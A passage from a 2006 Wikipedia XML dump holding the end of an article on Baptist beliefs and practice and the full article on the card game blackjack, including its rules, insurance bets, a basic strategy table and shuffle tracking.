Communion, which is alternately called &quot;The Lord's Supper&quot;, is an ordinance patterned after the [[Last Supper]] recorded in the [[Gospels]] which Jesus says to &quot;do this in remembrance of Me&quot; (Luke 22:19).  Participants communally eat the bread and drink the cup that are representative of the body and blood of Jesus.  Baptists emphasize that the remembrance is symbolic of Christ's body and reject literal views of communion such as [[transubstantiation]] and [[consubstantiation]] held by other Christian groups based on their interpretation of John 6.  1 Corinthians 11:23-34 is also commonly cited as instructional for the practice of Communion.  Many Baptists avoid referring to this ordinance as Communion due to its prominent use by the [[Roman Catholic Church]] and instead use the alternate &quot;The Lord's Supper&quot;.  

The bread used in the service may be cubes of unleavened bread, wafers or small crackers, generally of an unleavened variety which is thought to be the type used at the Last Supper.  The general Baptist embracing of the [[Temperance movement]], [[prohibition]], and [[teetotalism]] in the U.S. led to the practice of using non-alcoholic grape juice for the cup, but some Baptists do use wine.  The grape juice is typically served in small individual glasses, though some churches use one large cup for the entire congregation. Many church buildings are equipped with round receptacles on the rear of the pews for depositing the empty glasses after the service. Both &quot;elements&quot; of the bread and the cup are usually served by the pastor to the deacons, and by the deacons to the congregation.  The general practice is for the elements to be taken by the congregation as a whole as a symbol of unity, first the bread and then the cup separately, although sometimes both elements are taken together.
 
Communion services may be held weekly, monthly, quarterly, or even annually.  It usually takes place at the end of a normal service, but may take place at any time during the service.  Participation may be either &quot;closed&quot; (only members of that church can participate), &quot;cracked&quot; (members of other Baptist churches may participate, but not of other denominations), or &quot;open&quot; (anyone professing to be a Christian may participate).

=== Individual soul liberty ===

The basic concept of individual soul liberty is that, in matters of religion, each person has the liberty to choose what his/her conscience or soul dictates is right, and is responsible to no one but God for the decision that is made.  A person may then choose to be a Baptist, a member of another Christian denomination, an adherent to another world religion, or to choose no religious belief system, and neither the church, nor the government, nor family or friends may either make the decision or compel the person to choose otherwise.  And, a person may change his/her mind over time.

=== Separation of church and state ===
''Main article: [[Baptists in the history of separation of church and state]]''

Baptists who were imprisoned or died for their beliefs have played an important role in the historical struggle for [[freedom of religion]] and [[separation of church and state]] in [[England]], the [[United States]], and other countries.  In [[1612]] [[John Smyth (1570-1612)|John Smyth]] wrote, &quot;the magistrate is not by virtue of his office to meddle with religion, or matters of conscience&quot;. That same year, [[Thomas Helwys]] wrote that the King of England could &quot;command what of man he will, and we are to obey it,&quot; but concerning the church -- &quot;with this Kingdom, our lord the King hath nothing to do.&quot; In [[1614]], [[Leonard Busher]] wrote what is believed to be the earliest Baptist treatise dealing exclusively with the subject of religious liberty.  Baptists were influential in the formation of the first civil government based on the separation of church and state in what is now Rhode Island. [[Anabaptists]] and [[Religious Society of Friends|Quakers]] also share a strong history in the development of separation of church and state. 

The original objection was opposition of the monarchy or government setting religious agenda for churches or a &quot;National Church&quot; and did not imply a retreat by Christians from the political realm or involvement in the political process.  Modern debates about church and state separation involve disagreements about the extent to which Christian groups are able to, or should, set the legal and moral agenda for the government, and conversely whether government is preventing Christians and Christian groups from equal access to public forums.  

Currently in the United States, Baptist involvement in politics often involves controversies concerning [[gambling]], [[alcoholic beverage|alcohol]], [[abortion]], [[same-sex marriage]], the teaching of [[evolution]] and state-sanctioned public prayer in public [[high school]]s. In parts of the [[Southern United States]] Baptists form a majority of the population and have successfully banned [[dry county|alcohol sales]] and prevented the legalization of certain kinds of gambling.

=== Two offices (Pastor and Deacon) ===

Generally Baptists only recognize two Scriptural offices, those of [[pastor]] and [[deacon]].  The office of [[elder (religious)|elder]], common in some [[evangelicalism| evangelical]] churches, is usually considered by Baptists to be the same as that of pastor, and not a separate office. The office of overseer or [[bishop]] is always considered to be the same as that of pastor or [[presbyter]].

The prevalent view among Baptists is that these offices are limited to men only, following the model of [[Christ]] and His [[Twelve Apostles|apostles]].  However, the issue of women pastors/deacons has surfaced as controversy in some churches and denominations.

==== Pastor ====

In the Baptist church, the primary role of pastor is to deliver the weekly sermon.

In smaller churches, the pastor will often visit homes and hospitals to call on ill members, as well as homes of prospective members (especially those who have not professed faith).  The pastor will also perform weddings and funerals for members, and at business meetings serve as the moderator. The pastor may also be required to find outside work to supplement his income.

Larger churches will usually have one or more &quot;associate&quot; pastors, each with a specific area of responsibility, whereby the overall pastor is considered the &quot;senior&quot; pastor.  Some examples are:
*music (the most common)
*youth (in smaller churches, often combined with music)
*children
*administration (in the larger churches)

In the majority of instances, the pastor will be married with children (associate pastors may or may not be married, but if not married will find it difficult to be considered for a senior pastor position by other churches).

Some Baptists, especially [[Reformed Baptist]]s, believe in a plurality of elders. In that case usually only full-time paid elders will be called Pastor, while part-time volunteer pastors are more often called Elder, but these are regarded as the same office.

==== Deacon ====

The main role of the deacon is to assist the pastor with members' needs.  Deacons also assist during communion. However, in many more modern Baptist churches, deacons have become administrators of the church, i.e. the governing body. In many churches, the pastor takes on the role of spiritual leadership, while a deacon serves as moderator of board meetings.

A common practice is for each family to be assigned a specific deacon, to be the primary point of contact whenever a need arises.

Some larger megachurches, especially those using cell groups, use the cell group leader(s) to function in the role of deacon(s).

Deacons are usually chosen from members who have demonstrated exceptional Christian piety, and serve without pay.

== Justification by faith ==
Justification by faith or [[sola fide]] states that it is by faith alone that Christians receive salvation and not through any works of their own.  Baptists have a strong emphasis on the concept of [[salvation]]. [[Baptist]] theology teaches that humans have been contaminated by the sin of Adam and Eve's rebellion against God and that for this sin they are condemned to damnation. The theology holds that [[Christ]] died on the cross to give humans the promise of everlasting life, but that this requires that each individual willfully accepts Christ into his life and repents of sin. Nevertheless, the [[Baptist]] view of [[soteriology]] runs the gamut from [[Calvinism]] to [[Arminianism]].

== Beliefs that vary among Baptists ==
Because of the congregational style of church governance on doctrine, doctrine on the following issues often varies greatly between one Baptist church and another.

* [[doctrine of separation]]
* [[Calvinism]]/[[Arminianism]]
* the nature of Law and [[Gospel]]
* the ordination of women
* [[Homosexuality and Christianity|homosexuality]]
* [[Separation of church and state]]
* the extent to which non-members may participate in communion services
* the extent to which [[Mission (Christian)|missionary]] boards should be used to support missionaries
* [[Eschatology]]
Baptists generally believe in the literal [[Second Coming]] of Christ at which time God will sit in judgment and divide humanity between the saved and the lost (the Great White Throne judgment [[Book of Revelation]] 20:11) and Christ will sit in judgment of the believers (the Judgment Seat of Christ [[Second Epistle to the Corinthians]] 5:10), rewarding them for things done while alive. [[Amillennialism]], [[dispensationalism]], and historic [[premillennialism]] stand as the main eschatological views of Baptists, with views such as [[postmillennialism]] and [[preterism]] receiving only scant support.

=== Comparisons with other denominations ===
Baptists share certain emphasis with other groups such as [[evangelism]] and [[mission (Christian)|missions]]. While the general flavor of any denomination changes from city to city, this aspect of Baptist churches is much more prominent than in most [[Anglican]], [[Methodist]], [[Lutheran]] and [[Presbyterian]] churches. 

The [[Pacifism]] of the [[Anabaptists]] and the Quakers is not an ideal held by most Baptists. The [[Baptist Peace Fellowship of North America]] was organized in [[1984]] to promote peace, justice, and non-violence, but it does not speak for all Baptists that accept the ideal of pacifism.  Moreover, Baptists are strongest in the southern United States, an area known for strong support of the military and thus generally not supportive of pacifist views.

In [[Australia]], the Baptist Union is very close to the [[Campbell-Stone]] [[Church of Christ]]. The two groups share similar theology, even sharing a Bible college.

== Worship style ==

The focus of Baptist church services is the sermon.  This can be seen in traditional Baptist church architecture--the [[pulpit]], which is symbolic of proclamation of the Word of God, is the largest piece of furniture and centered on the platform, while the communion table placed below it in a symbolically &quot;subservient&quot; position (in sharp contrast to the [[Roman Catholic]] church which places the communion table at the center of the platform, since communion is the focus of the mass, while the pulpit is off to one side).  However, some of the modern megachurches have abandoned traditional architecture in favor of an entertainment-type stage, where a small podium and chair are brought out after the musical worship is complete.

Sermons often range in time from 30-60 minutes.  They range in style from [[Expository preaching|expository]] sermons that focus on one biblical passage and interpret its meaning, to topical sermons which address an issue of concern and investigate several biblical passages related to that topic.  Sermons often vary in solemnity.

The sermon is often surrounded by periods of musical worship lead by a song leader, choir or band.  Musical style varies between [[hymns]] and [[Contemporary Christian music]] with many churches choosing a blend of the two.  The choice in music style is often correlated to the predominant age of the members, with older congregations preferring traditional [[hymns]] played with piano and/or organ (the latter is becoming less frequent due to fewer organists) and featuring a choir, while younger congregations prefer contemporary music with modern instruments and no choir.  Larger churches may have a full orchestra along with the choir.  Some fundamentalist Baptists will only sing hymns (which usually includes songs in their hymnals written between the 1700s and the 1950s) and generally oppose the use of drums and/or electric guitar in their services because they associate those instruments with [[rock music]].

Other common features in a Baptist church service include the collection of offering, an altar call, a period of announcements and Communion.  Most Baptist congregations are small in number with membership under 200 people while other congregations are [[megachurch]]es with membership in the tens of thousands.

== Origins ==
There are several views about the origins of Baptists within the Baptist church.

=== Separatist ===
This view suggests that Baptists were originally separatists in the [[Puritan]] reaction to perceived corruptions in the [[Church of England]] in the 1600s. In 1609, [[John Smyth (1570-1612)|John Smyth]] led a group of separatists to the Netherlands to start the [[General Baptist]] church with an [[Arminian]] theology. In 1616, [[Henry Jacob]] led a group of Puritans in England with a [[Calvinist]] theology to form a congregational church that would eventually become the [[Reformed Baptist|Particular Baptists]] in 1638 under [[John Spilsbury]]. Both groups had members who sailed to America as [[pilgrims]] to avoid religious persecution in England and Europe and who started Baptist churches in the early colonies. The Particular and General Baptists would disagree over Arminianism and Calvinism until the formation of the [[Baptist Union of Great Britain]] in the 1800s under [[Andrew Fuller]] and [[William Carey]] for the purpose of missions. American Baptists soon followed suit.

This is the most common view held by modern Baptists, which is found represented in the works of H. Leon McBeth and many others.

=== Landmarkist ===
[[Landmark_Baptist_Church|Landmarkism]] is the belief that Baptist churches and traditions have preceded the Catholic Church and have been around since the time of [[John the Baptist]] and [[Christ]]. Proponents believe that Baptist traditions have been passed down through a succession of visible congregations of Christians that were Baptist in doctrine and practice, but not necessarily in name.  This view is theologically based on Matthew 16:18 , &quot;...and upon this rock I will build my church; and the gates of hell shall not prevail against it.&quot; and a rejection of Catholicism as part of the historical origins of Baptists.

This lineage grants Baptist churches the status of being unstained and separate from what they see as the corruptions of [[Catholicism]] and other [[religious denomination|denomination]]s. It also allows for the view that Baptists predate the Catholic church and is therefore not part of the Reformation or the Protestant movement. [[Alexander Campbell (Restoration movement)|Alexander Campbell]] of the [[Restoration Movement]] was a strong promoter of this idea.

[[James Milton Carroll|J. M. Carroll]]'s ''[[The Trail of Blood]]'', written in [[1931]], is commonly presented to defend this origin's view.  Several groups considered to be part of this Baptist succession were groups persecuted by the Roman Catholic Church throughout history including [[Montanists]], [[Novatianists]], [[Donatists]], [[Paulicians]], [[Albigensians]], [[Catharists]], [[Waldenses]], and [[Anabaptists]].  While some of these groups shared a few theological positions with current Baptists, many held positions that would now be considered heretical by current Baptists.  It is also difficult to show historical connections between those groups which were often separated by large gaps in geography and time.

The works of [[John T. Christian]] offer the best presentation of this viewpoint.

=== Anabaptist ===
[[Anabaptists]] ([[Mennonites]], [[Amish]], [[Hutterites]]) were a group in the 1500s that rejected infant baptism and &quot;rebaptized&quot; members as adults.  They share many teachings of the early Baptists, such as the [[believer's baptism]] and [[religious freedom]] and were probably influential in the development of many Baptist characteristics. While their names suggest some connection, some Anabaptists differed from the Baptists on many other issues such as [[pacifism]] and the [[communal]] sharing of material goods. 

It is difficult to say how much influence the Anabaptists had on the actual formation of Baptist churches. One of the strongest relationships between the two groups happened when John Smyth's [[General Baptist]]s attempted but failed to merge with the Mennonites.

The works of [[William Roscoe Estep]] offer the best presentation of this viewpoint.

==The name &quot;Baptist&quot; ==
'''Baptist''' comes from the [[Greek language|Greek]] word 'βαπτιστής' ['baptistés'] (Baptist, used to describe John the Baptist), which is related to the verb 'βαπτίζω' ['baptizo'] (to baptize, wash, dip, immerse), and the [[Latin]] 'baptista', and is in direct connection to 'the baptiser', 'John the Baptist'. 

As a [[first name]] it is used in [[Europe]] from the 12th century also as Baptiste, Jan-Baptiste, Jean-Baptiste, John-Baptist. In the Netherlands as of the 17th century, but mainly as of the 18th century as a combination like Jan Baptist or Johannes Baptist. 
As [[last name]] it is used as of the 13th century . Also commonly used as Baptiste, Baptista, Batiste, Battista.

== Questions of labeling ==
Some Baptists object to the application of the labels ''[[Protestant]]'', ''[[religious denomination|denomination]]'', ''[[evangelicalism|Evangelical]]'' and even ''Baptist'' to themselves or their churches, while others accept those labels. 

Those who reject the label ''Baptist'' prefer to be labeled as Christians who attend Baptist churches.  Also, a recent trend is to eliminate the name &quot;Baptist&quot; from the church name, as it is perceived to be a &quot;barrier&quot; to reaching persons of no church background who have negative views of Baptists.  Conversely, others accept the label ''Baptist'' because they identify with the distinctives they consider to be uniquely Baptist, and believe those who are removing the name &quot;Baptist&quot; from their churches are &quot;compromising with the world&quot; in order to attract more members.

The name ''[[Protestant]]'' is rejected by some Baptists because some Baptists believe they do not have a direct connection to [[Martin Luther|Luther]], [[John Calvin|Calvin]] or the [[Roman Catholic Church]]. They do not feel that they are &quot;protesting&quot; anything; Landmark Baptists believe they actually pre-date the Roman Catholic Church. Other Baptists accept the ''Protestant'' label as a demographic concept that describes churches who share similar theologies of ''[[sola scriptura]]'', ''[[sola fide]]'', the priesthood of all believers and other positions that Luther, Calvin and traditional reformers held in contrast to the Roman Catholic Church in the 1500s.

The label ''[[religious denomination|denomination]]'' is rejected by some because of the local autonomous governance system used by Baptist churches. Being a denomination is viewed as having a hierarchy that substitutes for the hierarchy of the Roman Catholic Church. Another reason for the rejection of the label is the influence of the [[Restorationism|Restoration]] period on Baptist churches, which emphasized a tearing down of denominational barriers. Other Baptists accept the label, feeling that it does not carry a negative connotation but rather is merely a synonym for a Christian or religious group with common beliefs, organized in a cooperative manner to spread its beliefs worldwide.

The label ''[[Evangelicalism|Evangelical]]'' is rejected by some fundamentalist Baptists who consider the term to describe a theological position that is not fundamentalist enough. It is rejected by some liberal Baptists who consider the term to describe a theological position that is too conservative. It is accepted by moderate Baptists who identify with the revival in the United States in the 1700s known as the [[First Great Awakening]]. Conversely, Evangelicals reject the label &quot;[[fundamentalist]]&quot;, believing it to describe a theological position that they consider too extreme and &quot;legalistic&quot;.

== See also ==
*[[Bible Belt]]
*[[Christian Right]]
*[[Fundamentalism]]
*[[Protestant]]
*[[List of Baptist sub-denominations|List of Baptist Associations, Conventions and sub-groupings]]
*[[List of Baptists]]

== External Links ==
* [http://www.bereabaptistchurch.org/  Berea Baptist Church (Press, Archives, &amp; Bookstore)]
* [http://www.sbc.net/ Southern Baptist Convention]
* [http://www.sbhla.org/info.htm/sbhla/ Southern Baptist Historical Library and Archives] 
* [http://www.bates.edu A Historically Affiliated Baptist College]
* [http://www.bpnews.net/bpn/ Baptist Press]  
* [http://www.abc-usa.org/abhs/ American Baptist Historical Society] 
* [http://www.baptisthistory.org/ Baptist History and Heritage Society] 
* [http://www.centerforbaptiststudies.org/ The Center for Baptist Studies] 
* [http://www.baptistlife.com/  BaptistLife.Com] 
* [http://www.valpo.edu/geomet/pics/geo200/religion/baptist.gif Map of USA showing Percentage of Baptist Population in each county]

[[Category:Baptist]]
[[Category:Anabaptism]]
[[Category:Protestantism]]
[[Category:Christianity]]

[[ca:Església Baptista]]
[[cs:Baptisté]]
[[da:Baptistkirken]]
[[de:Baptisten]]
[[et:Baptistid]]
[[es:Iglesia bautista]]
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[[zh:浸信会]]</text>
    </revision>
  </page>
  <page>
    <title>Blackjack</title>
    <id>3981</id>
    <revision>
      <id>41439819</id>
      <timestamp>2006-02-27T09:05:03Z</timestamp>
      <contributor>
        <username>The Gnome</username>
        <id>509411</id>
      </contributor>
      <comment>/* Insurance */</comment>
      <text xml:space="preserve">:''For other uses of the word see [[Black Jack]]''

[[Image:Blackjack.jpg|thumb|right|Blackjack! The face cards (Jack, Queen, and King) count as 10 points, and the Ace counts as 1 or 11.]] 

'''Blackjack''', also known as '''twenty-one''' and '''pontoon''' in [[British English]], is one of the most popular [[casino game|casino]] [[card game]]s in the world.  Much of blackjack's popularity is due to the mix of chance with  elements of skill and decision making, and the publicity that surrounds the practice of [[card counting]], a skill with which players can turn the odds of the game in their favor by making betting decisions based on the values of the cards known to remain in the deck. Blackjack's precursor was ''vingt-et-un'' (&quot;twenty-one&quot;), which originated in French casinos around 1700, and did not offer the 3:2 bonus for a two-card 21.

When blackjack was first introduced in the United States it wasn't very popular, so gambling houses tried offering various bonus payouts to get the players to the tables. One such bonus was a 10-to-1 payout if the player's hand consisted of the ace of spades and a black Jack (either the Jack of clubs or the Jack of spades). This hand was called a &quot;blackjack&quot; and the name stuck even though the bonus payout was soon abolished.

==Rules==
[[Image:Blackjack game example.JPG|thumb|Example of a Blackjack game]]
Blackjack hands are scored by their point total.  The hand with the highest total wins as long as it doesn't exceed 21; a hand with a higher total than 21 is said to ''bust''.  Cards 2 through 10 are worth their face value, and face cards (jack, queen, king) are also worth 10.  An ace's value is 11 unless this would cause the player to bust, in which case it is worth 1. A hand in which an ace's value is counted as 11 is called a ''soft'' hand.

The goal of each player is to beat the dealer, by having the higher, unbusted hand. Note that if the player busts, he loses, even if the dealer also busts, which is the source of the casino's advantage.  If the player's and the dealer's hands have the same point value, this is known as a &quot;push&quot;, and neither player nor dealer wins the hand.

After initial [[bet]]s are placed, the dealer deals the cards, either from one or two hand-held [[deck of cards|decks of cards]], known as a &quot;pitch&quot; game, or more commonly from a [[shoe (cards)|shoe]] containing four or more decks.  The dealer gives two cards to each player, including himself.  One of the dealer's two cards is face-up so all the players can see it, and the other is face down. (The face-down card is known as the &quot;hole card&quot;. In [[Europe]]an blackjack, the hole card is not actually dealt until the players all play their hands.)  The cards are dealt face up from a shoe, or face down if it is a pitch game.

A two-card hand of 21 (an ace plus a ten-value card) is called a &quot;blackjack&quot; or a &quot;natural&quot;, and is an automatic winner.  A player with a natural is usually paid 3:2 on his bet, although in 2003 some casinos started paying only 6:5 on blackjacks, a move decried by longtime blackjack players.

After the cards are dealt, if the dealer has a blackjack, all the players who don't have a blackjack lose immediately. If a player has a blackjack and the dealer doesn't, the player wins automatically. If the player and dealer both have a blackjack, it's a push. In casinos where a hole card is dealt, a dealer who is showing a card with a value of 10&amp;nbsp;may slide the corner of his or her facedown card over a small mirror on the tabletop in order to check whether it is an ace or not. This practice minimises the risk of inadvertantly revealing the hole card, which would give the sharp-eyed player a considerable advantage.

If the dealer does not have a natural, then the first player completely plays out his hand, followed by the next player, and so on. When all the players have finished the dealer plays his hand.

The player's options for playing his or her hand are:

* '''Hit''': Take another card.
* '''Stand''': Take no more cards.
* '''Double down''': Double the wager, take exactly one more card, and then stand.
* '''Split''': Double the wager and have each card be the first card in a new hand. This option is available only when both cards have the same value.
* '''Surrender''': Forfeit half the bet and give up the hand. Surrender was common during the early- and mid-20th century, but is no longer offered at most casinos.

The player's turn is over after deciding to stand, doubling down to take a single card, or busting. If the player busts, he or she loses the bet even if the dealer goes on to bust as well.

After all the players have finished making their decisions, the dealer then reveals his or her hidden hole card and plays the hand.  House rules say that the dealer must hit until he or she has at least 17, regardless of what the players have.  In most casinos a dealer must also hit a soft 17 (such as an ace and a 6). The felt of the table will indicate whether or not the house hits or stands on a soft 17.

If the dealer busts then all remaining players win.  Bets are normally paid out at the odds of 1:1.

Some common rules variations include:

* one card split aces: one card is dealt on each ace, player's turn is over.
* early surrender: player has the option to surrender before dealer checks for Blackjack.
* late surrender: player has the option to surrender after dealer checks for Blackjack.
* double-down restrictions: double-down allowed only on certain combinations.
* dealer hits a soft seventeen (ace-six, which can play as seven or seventeen)
* ''European No-Hole-Card Rule'': the dealer receives only one card, dealt face-up, and does not a second card (and thus does not check for blackjack) until players have acted. This means players lose not only their original bet, but also any additional money invested from splitting and doubling down.

There are more than a few blackjack variations which can be found in the casinos, each has its own set of rules, strategies and odds. It is advised to take a look at the rules of the specific variation before playing.

==Insurance==
If the dealer's upcard is an Ace, the player is offered the option of taking ''Insurance'' before the dealer checks his 'hole card'. 

The player who wishes to take Insurance can bet an amount up to half his original bet. The Insurance bet is placed separately on a special portion of the table, which usually carries the words &quot;Insurance Pays 2:1&quot;. The player who is taking Insurance is betting that the dealer's 'hole card' is a 10-value card, i.e. a 10, a Jack, a Queen or a King. Because the dealer's upcard is an Ace, this means that the player who takes Insurance is essentially betting that the dealer was dealt a ''natural'', i.e. a two-card 21 (a blackjack), and this bet by the player pays off 2:1 if it wins. 

Example: The player bets $10, the cards are dealt, the player's hand is 19, and the dealer shows an Ace. The player takes Insurance by betting an additional amount of $5. The dealer checks her hole card and sees that it's a 10-valued card. The player loses his $10 bet on his blackjack hand, but he wins the insurance bet, so the player gets 2:1 on his $5 Insurance wager and receives $10 (on top of the $5 which is returned to him). Note that the player came out even on that round (i.e. did not lose any money).

Conversely, a player may win his original bet and lose his Insurance bet.  Let's say we have the same situation as above except this time the dealer's hole card is not a ten, but rather a seven. In this case the player instantly loses his $5 Insurance wager. (All Insurance wagers are settled as soon as the dealer turns over her 'hole card', before all else.) But the player wins his $10 bet. Note that the player made a net profit on that round.

Of course, a player may lose both his original bet and his Insurance bet.

Insurance is statistically a bad bet for the player who has no direct knowledge nor estimation (e.g. through [[card counting]]) of the dealer's 'hole card' because Insurance has a negative [[expected value]] for the player. Even for the player who has been dealt a natural (a two-card 21) it is unwise to take ''Insurance''. In such a case, the dealer usually asks the player &quot;Even money?&quot; This means that instead of 3:2, the player with the natural accepts to be paid off at 2:2. Thus it is exactly the same thing as buying Insurance, losing the Insurance bet and getting paid 3:2 on the natural. (If the player with the natural refuses the offer of &quot;even money&quot;, and the dealer turns over his hole card to make a natural (a blackjack), it is a tie and the player's bet is returned to him.)

==Basic strategy==
As in all [[casino game]]s, the house has a statistical advantage over the players that will play itself out in the long run.  But because blackjack, unlike other games, has an element of player choice, players can actually reduce the casino advantage to a small percentage by playing what is known as ''basic strategy''.  This strategy determines when to hit and when to stand, and also determines when doubling down or splitting is the correct action.  Basic strategy is based on the player's point total and the dealer's visible card.  There are slight variations in basic strategy depending on the exact house rules and the number of decks used.  Under the most favorable conditions (single deck, downtown [[Las Vegas, Nevada|Las Vegas]] rules), the house advantage over a basic strategy player can be as low as 0.16%.  Indeed, casinos offering special rules like surrender and double-after-split may actually be offering a positive expectation to basic strategy players; they are counting on players making mistakes to make money.

The following rules are beneficial to the player:
# Doubles are permitted on any two-card hand except a blackjack. 
# Doubles are permitted after splitting.
# Early surrender; the ability to forfeit half your wager against a face or ace before the dealer checks for blackjack.
# Normal (aka &quot;late&quot;) surrender.
# Resplitting Aces.
# Drawing more than one card against a split Ace.
# Five or more cards with the total still no more than 21 as an automatic win (a &quot;[[Charlie (blackjack)|Charlie]]&quot;)

The following rules are detrimental to the player:
# Less than 3:2 payout on blackjacks (as is the case with Las Vegas Strip single-deck blackjack, paying out 6:5)
# Dealer hits on soft seventeen (ace, six)
# Splitting a maximum of once (to two hands)
# Double down restricted to certain totals, such as 9-11 or 10,11
# Aces may not be resplit
# No-Peek (European) blackjack—player loses splits and doubles to a dealer blackjack
# Player losing ties

==Basic strategy tables==
&lt;CENTER&gt;
{| BORDER=&quot;1&quot; class=&quot;wikitable&quot; style=&quot;text-align:center&quot;
|-
! rowspan=&quot;2&quot; | Your Hand
! COLSPAN=&quot;10&quot; | Dealer's face-up card
|-
| 2
| 3
| 4
| 5
| 6
| 7
| 8
| 9
| 10
| A
|-
! COLSPAN=&quot;11&quot; | Hard totals
|-
! 18-21
| S
| S
| S
| S
| S
| S
| S
| S
| S
| S
|-
! 17
| S
| S
| S
| S
| S
| S
| S
| S
| S
| Rs
|-
! 16
| S
| S
| S
| S
| S
| H
| H
| Rh
| Rh
| Rh
|-
! 15
| S
| S
| S
| S
| S
| H
| H
| H
| Rh
| Rh
|-
! 13-14
| S
| S
| S
| S
| S
| H
| H
| H
| H
| H
|-
! 12
| H
| H
| S
| S
| S
| H
| H
| H
| H
| H
|-
! 11
| D
| D
| D
| D
| D
| D
| D
| D
| D
| H
|-
! 10
| D
| D
| D
| D
| D
| D
| D
| D
| H
| H
|-
! 9
| H
| D
| D
| D
| D
| H
| H
| H
| H
| H
|-
! 5-8
| H
| H
| H
| H
| H
| H
| H
| H
| H
| H
|-
! COLSPAN=&quot;11&quot; | Soft totals
|-
! A,9
| S
| S
| S
| S
| S
| S
| S
| S
| S
| S
|-
! A,8
| S
| S
| S
| S
| D
| S
| S
| S
| S
| S
|-
! A,7
| D
| D
| D
| D
| D
| S
| S
| H
| H
| H
|-
! A,6
| H
| D
| D
| D
| D
| H
| H
| H
| H
| H
|-
! A,4-5
| H
| H
| D
| D
| D
| H
| H
| H
| H
| H
|-
! A,2-3
| H
| H
| H
| D
| D
| H
| H
| H
| H
| H
|-
! COLSPAN=&quot;11&quot; | Pairs
|-
! A,A
| SP
| SP
| SP
| SP
| SP
| SP
| SP
| SP
| SP
| SP
|-
! 10,10
| S
| S
| S
| S
| S
| S
| S
| S
| S
| S
|-
! 9,9
| SP
| SP
| SP
| SP
| SP
| S
| SP
| SP
| S
| S
|-
! 8,8
| SP
| SP
| SP
| SP
| SP
| SP
| SP
| SP
| SP
| Rsp
|-
! 7,7
| SP
| SP
| SP
| SP
| SP
| SP
| H
| H
| H
| H
|-
! 6,6
| SP
| SP
| SP
| SP
| SP
| H
| H
| H
| H
| H
|-
! 5,5
| D
| D
| D
| D
| D
| D
| D
| D
| H
| H
|-
! 4,4
| H
| H
| H
| SP
| SP
| H
| H
| H
| H
| H
|-
! 2,2 3,3
| SP
| SP
| SP
| SP
| SP
| SP
| H
| H
| H
| H
|}
&lt;/CENTER&gt;
The above is a basic strategy table for the most common 6- to 8-deck, Las Vegas Strip rules. Specifically: dealer hits on soft 17, double after split allowed, multiple split aces, one card to split aces, blackjack pays 3:2, and (optionally) late surrender.

Key:
:'''S''' = Stand
:'''H''' = Hit
:'''D''' = Double
:'''SP''' = SPlit
:'''Rh''' = suRrender if allowed, otherwise hit
:'''Rs''' = suRrender if allowed, otherwise Stand
:'''Rsp''' = suRrender if allowed, otherwise SPlit

In some LV Strip casinos you may still be able to find the older version of the multi-deck shoe game, where dealer stands on soft 17; those are usually high minimum ($50 or more) tables. This version is much more advantageous to the player, but requires a slightly modified basic strategy table. Basic strategy for [http://wizardofodds.com/blackjack other decks].

Interactive strategy tables for each possible card-distribution in the shoe can be generated using a [[JavaScript]] based [http://www.bewersdorff-online.de/black-jack/ blackjack calculator].

==Shuffle tracking==
There are techniques other than [[card counting]] that can swing the advantage of casino 21 towards the player, at least in theory. (It must be noted, however, that almost all of these techniques are based on the value of the cards to the player and the casino, as originally conceived by [[Edward O. Thorp]].) One such technique, mainly applicable in multi-deck games (aka shoes), involves tracking groups of cards (aka slugs, clumps, packs) during the play of the shoe, following them through the shuffle and then playing and betting  accordingly when those cards come into play from the new shoe. This technique, which is admittedly much more difficult than straight card counting and requires excellent eyesight and powers of visual estimation, has the additional benefit of fooling the casino people who are monitoring the player's actions and the count, since the shuffle tracker could be, at times, betting and/or playing opposite to how a straightforward card counter would.

[[Arnold Snyder]]'s articles in [[Blackjack Forum magazine]] were the first to bring Shuffle Tracking to the general public.


==Variants==
[[Spanish 21]] provides players with many liberal blackjack rules, such as doubling down any number of cards (with the option to 'rescue', or surrender only one wager to the house), payout bonuses for five or more card 21's, 6-7-8 21's, 7-7-7 21's, late surrender, and player blackjacks always winning and player 21's always winning, at the cost of having no 10 cards in the deck (though there are jacks, queens, and kings). With correct basic strategy, a Spanish 21 game has a lower house edge than a comparable blackjack game. 

Certain rules changes are employed to create new variant games. These changes, while attracting the novice player, actually increase the house edge in these games. [[Double Exposure Blackjack]] is a variant in which the dealer's cards are both face-up. This game increases house edge by paying even-money on blackjacks and players losing ties. [[Double Attack Blackjack]] has very liberal blackjack rules and the option of increasing one's wager after seeing the dealer's up card. This game is dealt from a Spanish shoe, and blackjacks only pay even money.

[[Chinese Blackjack]] is played by many in Asia, having no splitting of cards, but with other card combination regulations.

==References==
'''Blackjack'''
* ''Beat the Dealer : A Winning Strategy for the Game of Twenty-One'', [[Edward O. Thorp]], 1966, ISBN 0394703103
* ''Playing Blackjack as a Business'', [[Lawrence Revere]], 1998 (1971), ISBN 0-8184-0064-1
* ''Professional Blackjack'', [[Stanford Wong]], 1994 (1975), ISBN 0935926216
* ''The Theory of Blackjack'', Peter Griffin, 1996 (1979), ISBN 0929712129
* ''The World's Greatest Blackjack Book'', Lance Humble and Carl Cooper, 1980, ISBN 0-285-15382-1
* ''Blackbelt in Blackjack'', [[Arnold Snyder]], 1998 (1980), ISBN 0910575053
* ''Million Dollar Blackjack'', [[Ken Uston]], 1994 (1981), ISBN 0-89746-068-5
* ''Ken Uston on Blackjack'', [[Ken Uston]], 1986,  ISBN 0818404116
* ''Knock-Out Blackjack'', Olaf Vancura and Ken Fuchs, 1998, ISBN 0929712315
'''Mathematics of Gambling'''
* ''The Theory of Gambling and Statistical Logic'', Richard A. Epstein, 1977, ISBN 012240761X, 215-251
* ''Luck, Logic, and White Lies: The Mathematics of Games'', Joerg Bewersdorff, 2004, ISBN 1568812108, 121-134

==External links==
*[http://www.bjrnet.com/member/bjapr/Contents.htm Encyclopaedia of Casino Twenty-One]
*[http://www.bjmath.com Blackjack Mathematics]
*[http://www.bjstats.com Blackjack Stats]
*[http://www.beatblackjack.org/tables.html Interactive online calculator of probabilities and expectations for each possible card distribution in the shoe]

{{featured article}}
[[Category:Anglo-American playing card games]]
[[Category:Gambling]]

[[bg:Блекджек]]
[[da:Blackjack]]
[[de:Black Jack]]
[[es:Blackjack]]
[[fr:Blackjack (casino)]]
[[it:Blackjack]]
[[he:בלק ג'ק]]
[[nl:Blackjack]]
[[ja:ブラックジャック]]
[[ru:Блек-джек]]
[[fi:Black Jack]]
[[sv:Black Jack (kortspel)]]
[[zh:廿一點]]</text>
    </revision>
  </page>
  <page>
    <title>Bicarbonate</title>
    <id>3982</id>
    <revision>
      <id>40291180</id>
      <timestamp>2006-02-19T15:53:17Z</timestamp>
      <contributor>
